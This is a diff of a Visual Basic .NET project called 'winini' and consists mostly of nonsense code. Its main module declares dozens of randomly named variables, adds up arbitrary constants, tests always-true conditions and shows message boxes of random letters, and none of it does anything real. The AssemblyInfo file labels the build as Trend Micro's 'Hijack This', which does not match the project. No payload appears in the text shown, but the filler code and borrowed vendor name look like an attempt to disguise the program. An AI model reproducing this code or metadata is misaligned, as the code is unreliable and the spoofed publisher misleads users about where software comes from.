msgbox("GrgoJAVkqFSancTZsUorTSgWbTTuKQqyCuIDgqYCETOXnCYgPXVYufXIoRSOAAWHbWXRRHMeDnHqnoCZrYXJVErUmSWiEHwsgUonqUYwpHMmPIwlaRHGYKfpZRtKyGGoTiVaeyyoQXsVufuySzoYfSaBKxBIUpcpIhmKOZogdMxEakwTPiSRxSkUqyRLPkrwoneKmqepVkcVPHLgJDxLTubfGKNjPgPqVAKEnnrqvaRTSaGdNUmDvGkAvxDoTdXzkoUmDLn")
|
||||
Dim LBUJcwRiYUTUvRIaWaiHSdPGyJPrDdTIjHfwIXdZUYnWNxJodKOPuxDz As Integer = 7775271 + 1011903 + 1011903 + 352100
|
||||
Dim qnlZRqxmwInFnJYuxMdwAjhpTCfGJgEMWNKGQOYajqENBRLAVRuHvYqnIi As Integer = 9707600 + 1212752 + 552949 + 552949
|
||||
Dim YtGtSHrcPpnSSUqsviSXvfzWZh As String = "rITgPcozqUGartaLRiSIOrGPpmMjrUOpxuaMWLagdOFgOHkawediTnjbRTfoxq"
|
||||
Dim kzLVeWlcYMItnlwOklknDWSoPJEsfqmVgBenGDEdoFPflOILggEoJZG As Integer = 572008
|
||||
msgbox("qzpcKOvaiDKsMtYPYeRxzuBMMCJSalymJQeCORmBKJjCnxQcVqZuqSpbfPRHRYtXrCQsgvOgoWxGvURaUJbavOWXOviiQDezOgqjMurWvNpllEpTwDKXQcLKoOxbYSUZDXsHIKigIBzaLyPevPSBFWugqUrOdFluKuWmETAJQHXvLVtEeuFsTlTwdxXmUA")
|
||||
Dim jUxCewlsFteVSmhjYodwotSeEZJSLwimsuQakJKkjpzmfGBrxZvcv As Integer = 8844269 + 463213 + 463213 + 294844
|
||||
Dim spiHxUTnxFUXx As Integer = 4428768 + 664062 + 664062 + 495694
|
||||
Dim XnoqmNVjxZZcSUiiTbopgvbPNs As String = "IqItUBGdBjVCozrtMBoJDcVrnvSOywfmDOrgCsnBZltrxzUidFYUpWgkfwa"
|
||||
Dim lKMJwxKrdZXriGEfdEWIzqxVSfCvhfmzNfZnBJRnqrfXUOTgrHqHZ As Integer = 669190
|
||||
Dim MuPWeXEtMtsjkzIAHjWYNBXUhkRTDdZzRgwuGIAyLCDyAYeKHqddamoUhq As Integer = 9913266 + 1065761 + 1065761 + 405958
|
||||
Dim zxJJTjoSIXIPSNzPxnp As Integer = 5497765 + 775176 + 775176 + 606807
|
||||
Dim TrtoagIGBfwzGTybUHdIVnvg As String = "QSONJJgAvUEckIlGsRbzhxxFRzgweVNhuTsZdrLYmLdIkadwXXYMdGhVOiKSnRzuo"
|
||||
WEXWmrScOuZaSqYkpoAtEpaBBFaZTvlPyRDivgGuGeqWDPHJsFZFVmxBDpvm:
|
||||
msgbox("DznriVHzjOCbJLEpJDNRbUWfjTVKfmQoKKPLKRBHsUvYIudQTLqErnhbsuvAvaBAFeHvuDXyCmhjHLDFHhoGsgsGOHDUCZXUxLfxgqTMIMLhUWJPAHgZIlEsDQekpbylVBmqKjuOToIJoYazDlnZxGhurOtOhPnHsbmUshXVaowZLyYxBxfgFkkgYkcjohalByYK")
|
||||
If 5810253 > 807656 Then
|
||||
Dim QtSCbjxdTJgTrZqhehMwVYPamc As String = "qXmkIiidmXsccNHsOHRuXAqTXyRuCzDiHnyegrVXiEvaEMNJJurGbbLZOywUgBhlWVUINmLWa"
|
||||
Dim mcmBaLxwYdhwWDHimstWpoGuzj As String = "pqADhjYqPLYEvSVZLHHRpMlNVccqtCjhrAXiGRJfFKUoWyCDyRJMCjjUsmVpHZZuNPuYNNRRU"
|
||||
Dim IOqNopPsOmNtfLmwNFnCgCygf As String = "dXZhFvzoDGWcnUvXJzjgZqIeiMPPZMIRlroYdlIYTGjAgxh"
|
||||
End If
|
||||
Dim VRdSJDYdDHOOlvzPWsLibOHbGG As String = "eDCClUQuXdtNfoYufOnyqagqCivDPOMtoOHhKGcmLRQgRDJ"
|
||||
Dim KUwVSNYgXyenptPekTWWgTVqjqVESjfbRCneuaFSKuWXEyOvyoiaFvtN As Integer = 217704
|
||||
Dim uDNmcDfrCUPyNCgPgQETHjZtjESQbRcJBsHKmehAhJOwedmJZzVnfWA As Integer = 540628
|
||||
Dim nWMBBKcbXVlofUgmyoKIedJRtb As String = "eBaEDzmTbselEhHihxeYDVDalTmIEiEmlrbpcaMiLCLGrWhbxSSBjlsDNILIjBawiWSRt"
|
||||
msgbox("FkYuDCtdcSrGnQXGgZCQVMdirtIfFCweXUFqqTNPpZABtgngsjpycciSnFigYlmmOvbfIEmzSthqdSxlarwoZgjcXLkPGmmbaavqcyyjHptOSjXaMfNiNONqbVHYufyaUxTpeVEdtHUSfsmHxxYLFbpQzlxxFkJHdBTOLDWpoQIUyGtGSRQqTOrdbxkexaoPIwXjGkpVZcipdjPChQErHUPFsvzbQfBQZqYIpgCeNPFUysgbpcx")
|
||||
If 6879251 > 918769 Then
|
||||
Dim oaCKkpQMQscbhdjhltVvcyfIa As String = "nzYEyRiFVqBrDbGFpxQVYcBEReKpjOHNnzYGrwWNiuSIFWbiyEDrMPRUqLkFgQ"
|
||||
Dim DtuEWaBjpLoDytbtlZRjmQbWqN As String = "JgmrtoObMjqZvKmSffWtdSZygQWzSFWJanW"
|
||||
Dim QZrVNmFmDzXgtZVbBmurJRNWZQ As String = "YefYNEnRAJjHGYJmHHMepphfTVxSNioVnUGA"
|
||||
End If
|
||||
msgbox("aPZjXDfLSzFMBBEJkosBzfVbLzSnlKtteLJFjqCoyYJCZIelyUCFtvLkueLoifTvglLGItlwyzwtnFeLBgMtTwahlPafCpnwOoBkUTnMqQaWEEkelJjLTjwVMHiGhgaxAeQnhkEMFyhnOZMqmSDJOBWNokLlLKdWDusetEuCzRTDqXdGxRPEvQGcsiqemRAafBMFJVDihcPtHzVZgqQkQtuBdpZSXnxOzThmMvnvEkeEuXyNcKrfFCxXFm")
|
||||
If 8811579 > 459815 Then
|
||||
Dim FladuXQdvdiaOyDlhGJCBMTFDi As String = "gWLRsWSqEycDoDQuGoHsNeTSMRSEVBpSCzgxJEBxrT"
|
||||
Dim hDxyTVcecLTWJxZWTuRRpgTkVp As String = "qBUPiloutXqWedxtzRvRtMwVXSKtYPcccFVXibAJEgsc"
|
||||
Dim kcJhNsYVRjCgKzmFPLgwdYBYwj As String = "WXGZNgxPMmhSvNkkgNeaCiYsNXKlkMhFkLIZzFRgncEUgirDGvEkSEHuqoK"
|
||||
End If
|
||||
msgbox("JFvneRKKwRIjcVUvcngfXRQcmMXtukjgcLoeJELUjCEpdMMSEXjGoaJrRCJJZVzTQtDDoEmPaqExnrDKjItYwdjWOGURnStfvNTkKvCFwCwoGEFfuRPuTFZDtrmVhXtpZGYXVxYHVxmwikMRrNktmIMjPrYadFmtLAfgHjbQGeMB")
|
||||
If 4396078 > 660664 Then
|
||||
Dim ePMiLwsSnqyDocnANXQmDKjyjm As String = "imcJbTFSjGXoLNCHwxpogSWbdIKqRRhxlvsoHRqUtCQdRZqwyhVPmymZlckmrwj"
|
||||
Dim yrEjClbEFypWrejwNyxzehJqt As String = "xyMbYdOIgOqdZlmbpZfaLSqoAUgqpejxgbmOTZflLhPaefboGIWXGTaVzmntJnNA"
|
||||
Dim AifCCaWgWRNbryFxpdDEhKqOQ As String = "mecuBPwZRUsOcMDdFgBeesgLgDKzCtsJOCwRwpmApukgrVXllXZWUNsIxd"
|
||||
End If
|
||||
End Function
|
||||
|
||||
|
||||
Public Sub dgFdmykJzJVOGhgGZIXdaMDbeaBbFeE(ByVal YoXQwdkqrsEJeXxpLQMabIhqXNHLjZtBgnyOaZywlYPSdyzxB As String)
|
||||
Dim WhXhPEKSajCNqwwmHuWZYbDKngEVXlWkyWtyatcMKccVTNA As Integer = 7602295 + 993924 + 334120 + 334120
|
||||
Dim csbFOxYmKCwVUHygvSNQYuKwTHmgmFznw As Integer = 4806635 + 534970 + 534970 + 534970
|
||||
Dim ZhlRjzHwXNuMGnGeNGCHshlapBLScJrbFUoRLltxsipOsyNxutidmWvM As Integer = 703541
|
||||
Dim bHGLZxwVPaZIvObIqIYxxdBIywCCgLfObyNuDNmhiOhVGohEXIlXlXqe As Integer = 126466
|
||||
Dim XSOHSHjoBhzqVNwmdMwIPYTlFhJZZkiSOVctVOVLtjGasPpQQioSb As Integer = 8671292 + 1105037 + 445234 + 445234
|
||||
Dim EVsWVzlNxizpbgXmxtQbhoqcRn As String = "mcxHcsCFFBMkJdezetYKkblCVnJYEOOUvNExd"
|
||||
Dim vCxIyiAdIFtfXNbfvoaKlvkIbZGhDL As Integer = 4255792 + 646083 + 1015301 + 1015301
|
||||
Dim ewnqaZMJMEWzAYSIqQTnQFNaKXgefTcrzKawBSXDyjMnHpMtiuOBaenI As Integer = 653464
|
||||
Dim UrpGziqyBwxxNDSietqpsSlQvfEIozCzPkZQnRrovSojETNndEqLtPC As Integer = 976389
|
||||
Dim UfBnziUHaPMclgeyVxjgmRnDKpJzSmTeIrtwwSzrnVWwUFxsUwDrlYLUP As Integer = 3392460 + 556347 + 556347 + 387978
|
||||
Dim thgLYZUIHNsnjBpXNVWUFJbHAIinWTrfWRv As Integer = 5324789 + 757196 + 588827 + 588827
|
||||
Dim yGRdZUVCMnhkgucMZEtmlYqxFa As String = "BGyldqJVjPdClaFHaIbGFANMCclqkmrhwHnpvJyXSqXKtONVeLNBEBKVaRvhvwsx"
|
||||
Dim ITCcPJNNLYdDpsJIFbhhPQXupKqBtqqkHYiBmIQySGPqoOntdPrdgJk As Integer = 173571
|
||||
Dim zIhgFSmZOrawDQ As Integer = 9189446 + 1158894 + 1158894 + 499091
|
||||
Dim KGLpEGXdeRtVHqSXsZKfbOjsqZ As String = "qMYWFGoyWbnigWrVkWXvZaDpqtPTdOLUVVGDVeSZGlUKpeSwzHdoKUXbJlGO"
|
||||
Dim HSBNNqTIraOisATxkmgDtmOXCdwPQcxdjJHxstfNPurvUcMvEigpbOKB As Integer = 672161
|
||||
msgbox("tkDdkEafkxZLWMXIbeoMMoacMUEgdsjLwbWwOOFWXDEkOzVipWLyrdSIkQtLnOZCZhxHvduabssNcKyuGVkkoMBlJFhcwQhmzaPPwIJUnfUWqDNPBHEuQUNrPMecPFrbWpgnKKVgHEwplQieeKnVEGCeqaTPluNxLPdejxonFFHVHLSOKRUQyk")
|
||||
msgbox("qgDsKFvhATNWWxTuqnJuttWlxILepYsNVxkDHegDFDTarrWeKVzNXCJgkWkMduXvzeidWNDcMsXzPpZcwKgTBYWPVHHNcyQDRKyOTMnaKUaoEACLqoFItPkHrwdbzsyFLWiFLkMSoSenahiAhqaaPkbenYCyJmwYWwnxOqCZnTktpqrPJyqQdqXyUdYVmlcmTPkqmkPuGuPkHaLtFaxqzqNTJxyCvmwVQPGfnLMJDMXECbKSyms")
|
||||
Dim qgVQugmWaRQqLmmymfLgsPKkspSXEvsqnqhFBrSsRXG As Integer = 6706274 + 900790 + 240987 + 240987
|
||||
Dim POFnGGzKrzbUziVJcXtinyBNBTbtE As Integer = 3910614 + 441836 + 441836 + 441836
|
||||
msgbox("zYIBJWqkcXeHPMWKXxvGtVhqTXKTLcJssnaNoqBrscTdhYyxKnUCAQiIKiwoNwDrPTxoqalHvHXYANtITJVqMRKbYsMsQxKVeeQOeAsalYGvBFsHNzprzhXJIgNnlUsWeakisxrEOqDKwKIUIRcLsvEypsHPXGxVtrFKvmcploWUSzkHqlVbLvntOrDBvvFWSslVJI")
|
||||
msgbox("UtENSRAqrjqImRRRboLLbFeWPtMqQaalgjwtJRLWVzWcEKXsRQlUBfFpPTJkZdiMBbFHzBrjZWIKeTukUTvkQyOYluPPmgEMOIJxWEcrCioXadbIrZLxDLAklxAVlkjzZGdEHcPKMKjFZpObsIBwvVLnVGkpFrRorviRpXxCMfOwKFDDdxoUbcqxzupNcDyuYEuXCrWhKUylOaoDIUrGdjjcfqjdkWZfcIhNcmiQNFIMVDQpozgwjrmrVWoZLwoKMjQZwIbP")
|
||||
Dim wVqoPqYevEWZxroxVIwmlwcoEiJsRoYKrzydSplHUbLllij As Integer = 7775271 + 1011903 + 352100 + 352100
|
||||
Dim DxZkMIzFdkAPdRUawRRDWkxVGaDruaTCImRKelppFYqKqorfZUVvkfXxN As Integer = 9707600 + 552949 + 552949 + 552949
|
||||
Dim nUXaxOzmzKOrBNkyfmyQUTUOCxNPTxdkbkyoibBKnRfmiSdBYHppDtQ As Integer = 719266
|
||||
Dim jLdQiBFyzOsWolWSPdwDtvsaBObVsWWoiYHdvGJhPUWAHQcLDFoGuTxn As Integer = 572008
|
||||
msgbox("MdGdrXqoeLarQfxzewtjRTjNuGZvxFUvCkAMwJJviCdwORiGYmqqPssmeEHLVxicBederbrlqkNxBkdOZQTLOvZePobuORaJwGJRWHsSZpgBgFnjjIPPbrvpIlHkwRmrCfNbTaBvWGNVgjVkqJsjEqtktTxVDzgyuHgwSEIdFGSLjyJpySbasxXwIXsNxDLnvEofCnmwiazxcNpgXDzQnFLvYkbzUmOUdTFxBsRcljZRiALRaOMDIEpjmTHJ")
|
||||
Dim CrqELhrENfrgLMhQCMYdULrsgelPEuxeiGnxWZqbpUMwkfFFGkyTvn As Integer = 2496439 + 463213 + 463213 + 294844
|
||||
Dim nSXvwbrGUHVbGVYxHfPXwiIECkcQyV As Integer = 4428768 + 664062 + 495694 + 495694
|
||||
Dim BHvxmoudTgMtzxpwmGMxowUIa As String = "siajqVpYdvKjyyamGehgqksXNEybxWzklupbzoTSDGqxsUaidsVJblrJySU"
|
||||
Dim IuKBnfyOZEeXMVKGzGYSWkMjkQVbVjBkvSpPnIdkdrSzyFWYtniYIMa As Integer = 992114
|
||||
Dim ZnxZvPIhSXVDvdyxqaaSjvZBFfnYSQXOYeInTDRjettTpUBHDFdlxuJJCZC As Integer = 8293425 + 1065761 + 1065761 + 405958
|
||||
Dim hwHzvxpEgNBygojmWMsozopdvUyHGHuNZMTl As Integer = 5497765 + 775176 + 606807 + 606807
|
||||
Dim ITDUuwWaOpuFkNlQMNDVnekyBL As String = "QKJesMRdqtLpccohtXpinGwDXakNhCBdNoYPkruCaZwLSEytVJIDncsenhYZN"
|
||||
Dim mxMqGqjZSeQHErlCrBzAzrHEWpglSiNVwRWhJvrLQJLmELWTZMsvpqs As Integer = 619113
|
||||
msgbox("WfwfHiYWyEmMDbatflhaljJzRtlJXfXXfiEUZJOuApIUWCHUpBEKnMazSmPBTdUJkSznDLqWuicAHPgCWZIMkUfphAgMIjqOYjQckGsiUMLffgNJDverYscsCcVjWxskiifwgxYTaYLmVRewJXVpahdPRVrBkvnMTKMznQKTImRBJwOxYPsWfQkVUwCxOJuwEKN")
|
||||
Dim WROlyGvxBsKwsTreVUFHupbFbbljdSeOcMfVsjgiTWgIiauCDRZRSMlA As Integer = 9362423 + 517071 + 517071 + 348702
|
||||
Dim xacMuEosObwJKRDQ As Integer = 4946922 + 717920 + 1087138 + 1087138
|
||||
Dim HVIvjbvjanRPIbyqmkEslptYKjeWJRGhPvnrjHJbDrlL As Integer = 6879251 + 918769 + 258966 + 258966
|
||||
Dim aOcavhtUqhFNxOPcdHoMScdEcBLIZsxgRxykuHBzyTLxkaGkSEDK As Integer = 8811579 + 459815 + 459815 + 459815
|
||||
msgbox("bwKTfeoQxKHjliteDlevtERSkWIgxquzSSPCiDPnhEiiKxoWsRlfctfiVSJMHDehSYagPFZXtgYClShhppcXzeTlGdcBFQcjWfzgvWzUbFkSkhGNnUMzgzPekTWZLQXHbzvevrZibpbHcdtQjVwmrsBMFBKutxCawVBkGgMozGvixcr")
|
||||
msgbox("XjXAFIxtiPRipiHnGzZxKHItsLCxgJnWdRZmOaNJDHwwZCsQAeFLgHcrKRVNDeVMdGGFBNSeaSiGnSpigVqMKHWHbLOknzmFXiuZFXfYDFGgfmmZIpikzRPOxalUiUQLlwmzTNKcNKoqeBNrSWAqCvLaRJPwNwhMaxepANbgmkaBrlnauRqscWefRNvflJIyXnQIIwCXIfLZbThMUcxGhVqTenYkIhOJKTrUzrFrKysa")
|
||||
Dim fuSfvAIEHiUwFaCrFhYNDTkgxsytURWBbSMMNVnyZkFWuRuPoZPiHHNN As Integer = 813476
|
||||
Dim uwQUWkGlPikyBVyovCdvBTmIRhhbCLwnPpUzBhDjFJXumrCgGGHjOznX As Integer = 753618
|
||||
msgbox("fWjXeAjXoEjCWBSoMsZrxNnlToMVWOjXQkQGzxBfTNAlCSZIRtEFcRdSEJvwgxpzgnHnHCExrUBSJuFfEYrQbhwSkaZYIsUFXkxWoyloEUmEOouqnZaBLCOigHWJWrDQMCpLVJlmJGYDsXgXVtTVJwUxuyALyPcPAkzMdFuaHbYXYPDIDakfvmCscvanPghjpdpin")
|
||||
msgbox("eLSzTAiKZbimfSymBDGlAatWLLxpcHrXCexFQSEavSzZJFMPLtZGKnmBqIBwFcQyYQjEtFdsWHgbHzVXubhZoFcBaBdwRNEvuRpFeivvDqtBzUMrDuqyNxFDSmrxlkvwQcgQyVtRsOzGPmaHovRkJlJpSJGIqOejqsUtdoMorWOzdVAACZYtEpctcOllHVtrTIWwvIquBJAnRrbEwaYfaexzvvnMZdADTziczSSXXYfHVrCWuiFybQkjByWgvWuuUTKyg")
|
||||
Dim yRtpCGjAhqPTKZZTpJOkwiQNYlWVqVUeUqGtQruMUVBfOsdcycbuYmGr As Integer = 7602295 + 993924 + 334120 + 334120
|
||||
msgbox("jEinZuqoJuwYTmNzUEPCAIcHXrkNjqCcuBGeRRbcMeHrIkaxWIVbAntiVaIZzpRBazlOtywYEJwlgqatuMqXynPIiasQnhOodvlygKpKndfPRZDTpLnxVdePNnCvbnhYEjWrGVxUOiUjpHyHKAbLscalKIBUrdNlFKFAvBGliTfDdJyqFaWTtHu")
|
||||
End Sub
|
||||
|
||||
End Module
|
||||
@@ -0,0 +1,38 @@
|
||||
'------------------------------------------------------------------------------
|
||||
' <auto-generated>
|
||||
' This code was generated by a tool.
|
||||
' Runtime Version:4.0.30319.42000
|
||||
'
|
||||
' Changes to this file may cause incorrect behavior and will be lost if
|
||||
' the code is regenerated.
|
||||
' </auto-generated>
|
||||
'------------------------------------------------------------------------------
|
||||
|
||||
Option Strict On
|
||||
Option Explicit On
|
||||
|
||||
|
||||
Namespace My
|
||||
|
||||
'NOTE: This file is auto-generated; do not modify it directly. To make changes,
|
||||
' or if you encounter build errors in this file, go to the Project Designer
|
||||
' (go to Project Properties or double-click the My Project node in
|
||||
' Solution Explorer), and make changes on the Application tab.
|
||||
'
|
||||
Partial Friend Class MyApplication
|
||||
|
||||
<Global.System.Diagnostics.DebuggerStepThroughAttribute()> _
|
||||
Public Sub New()
|
||||
MyBase.New(Global.Microsoft.VisualBasic.ApplicationServices.AuthenticationMode.Windows)
|
||||
Me.IsSingleInstance = false
|
||||
Me.EnableVisualStyles = true
|
||||
Me.SaveMySettingsOnExit = true
|
||||
Me.ShutDownStyle = Global.Microsoft.VisualBasic.ApplicationServices.ShutdownMode.AfterMainFormCloses
|
||||
End Sub
|
||||
|
||||
<Global.System.Diagnostics.DebuggerStepThroughAttribute()> _
|
||||
Protected Overrides Sub OnCreateMainForm()
|
||||
Me.MainForm = Global.winini.Form1
|
||||
End Sub
|
||||
End Class
|
||||
End Namespace
|
||||
@@ -0,0 +1,10 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<MyApplicationData xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
|
||||
<MySubMain>true</MySubMain>
|
||||
<MainForm>Form1</MainForm>
|
||||
<SingleInstance>false</SingleInstance>
|
||||
<ShutdownMode>0</ShutdownMode>
|
||||
<EnableVisualStyles>true</EnableVisualStyles>
|
||||
<AuthenticationMode>0</AuthenticationMode>
|
||||
<SaveMySettingsOnExit>true</SaveMySettingsOnExit>
|
||||
</MyApplicationData>
|
||||
@@ -0,0 +1,39 @@
|
||||
Imports System.Resources
|
||||
|
||||
Imports System
|
||||
Imports System.Reflection
|
||||
Imports System.Runtime.InteropServices
|
||||
|
||||
' General Information about an assembly is controlled through the following
|
||||
' set of attributes. Change these attribute values to modify the information
|
||||
' associated with an assembly.
|
||||
|
||||
' Review the values of the assembly attributes
|
||||
|
||||
<Assembly: AssemblyTitle("Hijack This")>
|
||||
<Assembly: AssemblyDescription("Hijack This")>
|
||||
<Assembly: AssemblyCompany("Trend Micro Inc")>
|
||||
<Assembly: AssemblyProduct("HijackThis")>
|
||||
<Assembly: AssemblyCopyright("© 2007 Trend Micro Inc")>
|
||||
<Assembly: AssemblyTrademark("Trend Micro 2007")>
|
||||
|
||||
<Assembly: ComVisible(False)>
|
||||
|
||||
'The following GUID is for the ID of the typelib if this project is exposed to COM
|
||||
<Assembly: Guid("f6ccd71f-6e6e-4047-8f16-321273aeaaea")>
|
||||
|
||||
' Version information for an assembly consists of the following four values:
|
||||
'
|
||||
' Major Version
|
||||
' Minor Version
|
||||
' Build Number
|
||||
' Revision
|
||||
'
|
||||
' You can specify all the values or you can default the Build and Revision Numbers
|
||||
' by using the '*' as shown below:
|
||||
' <Assembly: AssemblyVersion("1.0.*")>
|
||||
|
||||
<Assembly: AssemblyVersion("2.00.00.2")>
|
||||
<Assembly: AssemblyFileVersion("2.00.00.2")>
|
||||
|
||||
<Assembly: NeutralResourcesLanguageAttribute("en-US")>
|
||||
@@ -0,0 +1,63 @@
|
||||
'------------------------------------------------------------------------------
|
||||
' <auto-generated>
|
||||
' This code was generated by a tool.
|
||||
' Runtime Version:4.0.30319.42000
|
||||
'
|
||||
' Changes to this file may cause incorrect behavior and will be lost if
|
||||
' the code is regenerated.
|
||||
' </auto-generated>
|
||||
'------------------------------------------------------------------------------
|
||||
|
||||
Option Strict On
|
||||
Option Explicit On
|
||||
|
||||
Imports System
|
||||
|
||||
Namespace My.Resources
|
||||
|
||||
'This class was auto-generated by the StronglyTypedResourceBuilder
|
||||
'class via a tool like ResGen or Visual Studio.
|
||||
'To add or remove a member, edit your .ResX file then rerun ResGen
|
||||
'with the /str option, or rebuild your VS project.
|
||||
'''<summary>
|
||||
''' A strongly-typed resource class, for looking up localized strings, etc.
|
||||
'''</summary>
|
||||
<Global.System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0"), _
|
||||
Global.System.Diagnostics.DebuggerNonUserCodeAttribute(), _
|
||||
Global.System.Runtime.CompilerServices.CompilerGeneratedAttribute(), _
|
||||
Global.Microsoft.VisualBasic.HideModuleNameAttribute()> _
|
||||
Friend Module Resources
|
||||
|
||||
Private resourceMan As Global.System.Resources.ResourceManager
|
||||
|
||||
Private resourceCulture As Global.System.Globalization.CultureInfo
|
||||
|
||||
'''<summary>
|
||||
''' Returns the cached ResourceManager instance used by this class.
|
||||
'''</summary>
|
||||
<Global.System.ComponentModel.EditorBrowsableAttribute(Global.System.ComponentModel.EditorBrowsableState.Advanced)> _
|
||||
Friend ReadOnly Property ResourceManager() As Global.System.Resources.ResourceManager
|
||||
Get
|
||||
If Object.ReferenceEquals(resourceMan, Nothing) Then
|
||||
Dim temp As Global.System.Resources.ResourceManager = New Global.System.Resources.ResourceManager("winini.Resources", GetType(Resources).Assembly)
|
||||
resourceMan = temp
|
||||
End If
|
||||
Return resourceMan
|
||||
End Get
|
||||
End Property
|
||||
|
||||
'''<summary>
|
||||
''' Overrides the current thread's CurrentUICulture property for all
|
||||
''' resource lookups using this strongly typed resource class.
|
||||
'''</summary>
|
||||
<Global.System.ComponentModel.EditorBrowsableAttribute(Global.System.ComponentModel.EditorBrowsableState.Advanced)> _
|
||||
Friend Property Culture() As Global.System.Globalization.CultureInfo
|
||||
Get
|
||||
Return resourceCulture
|
||||
End Get
|
||||
Set
|
||||
resourceCulture = value
|
||||
End Set
|
||||
End Property
|
||||
End Module
|
||||
End Namespace
|
||||
@@ -0,0 +1,117 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<root>
|
||||
<!--
|
||||
Microsoft ResX Schema
|
||||
|
||||
Version 2.0
|
||||
|
||||
The primary goals of this format is to allow a simple XML format
|
||||
that is mostly human readable. The generation and parsing of the
|
||||
various data types are done through the TypeConverter classes
|
||||
associated with the data types.
|
||||
|
||||
Example:
|
||||
|
||||
... ado.net/XML headers & schema ...
|
||||
<resheader name="resmimetype">text/microsoft-resx</resheader>
|
||||
<resheader name="version">2.0</resheader>
|
||||
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
|
||||
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
|
||||
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
|
||||
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
|
||||
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
|
||||
<value>[base64 mime encoded serialized .NET Framework object]</value>
|
||||
</data>
|
||||
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
|
||||
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
|
||||
<comment>This is a comment</comment>
|
||||
</data>
|
||||
|
||||
There are any number of "resheader" rows that contain simple
|
||||
name/value pairs.
|
||||
|
||||
Each data row contains a name, and value. The row also contains a
|
||||
type or mimetype. Type corresponds to a .NET class that support
|
||||
text/value conversion through the TypeConverter architecture.
|
||||
Classes that don't support this are serialized and stored with the
|
||||
mimetype set.
|
||||
|
||||
The mimetype is used for serialized objects, and tells the
|
||||
ResXResourceReader how to depersist the object. This is currently not
|
||||
extensible. For a given mimetype the value must be set accordingly:
|
||||
|
||||
Note - application/x-microsoft.net.object.binary.base64 is the format
|
||||
that the ResXResourceWriter will generate, however the reader can
|
||||
read any of the formats listed below.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.binary.base64
|
||||
value : The object must be serialized with
|
||||
: System.Serialization.Formatters.Binary.BinaryFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.soap.base64
|
||||
value : The object must be serialized with
|
||||
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.bytearray.base64
|
||||
value : The object must be serialized into a byte array
|
||||
: using a System.ComponentModel.TypeConverter
|
||||
: and then encoded with base64 encoding.
|
||||
-->
|
||||
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
|
||||
<xsd:element name="root" msdata:IsDataSet="true">
|
||||
<xsd:complexType>
|
||||
<xsd:choice maxOccurs="unbounded">
|
||||
<xsd:element name="metadata">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" />
|
||||
<xsd:attribute name="type" type="xsd:string" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="assembly">
|
||||
<xsd:complexType>
|
||||
<xsd:attribute name="alias" type="xsd:string" />
|
||||
<xsd:attribute name="name" type="xsd:string" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="data">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" msdata:Ordinal="1" />
|
||||
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="resheader">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" use="required" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:choice>
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:schema>
|
||||
<resheader name="resmimetype">
|
||||
<value>text/microsoft-resx</value>
|
||||
</resheader>
|
||||
<resheader name="version">
|
||||
<value>2.0</value>
|
||||
</resheader>
|
||||
<resheader name="reader">
|
||||
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
<resheader name="writer">
|
||||
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
</root>
|
||||
@@ -0,0 +1 @@
|
||||
|
||||
@@ -0,0 +1,7 @@
|
||||
<?xml version='1.0' encoding='utf-8'?>
|
||||
<SettingsFile xmlns="http://schemas.microsoft.com/VisualStudio/2004/01/settings" CurrentProfile="(Default)" UseMySettingsClassName="true">
|
||||
<Profiles>
|
||||
<Profile Name="(Default)" />
|
||||
</Profiles>
|
||||
<Settings />
|
||||
</SettingsFile>
|
||||
@@ -0,0 +1,73 @@
|
||||
'------------------------------------------------------------------------------
|
||||
' <auto-generated>
|
||||
' This code was generated by a tool.
|
||||
' Runtime Version:4.0.30319.42000
|
||||
'
|
||||
' Changes to this file may cause incorrect behavior and will be lost if
|
||||
' the code is regenerated.
|
||||
' </auto-generated>
|
||||
'------------------------------------------------------------------------------
|
||||
|
||||
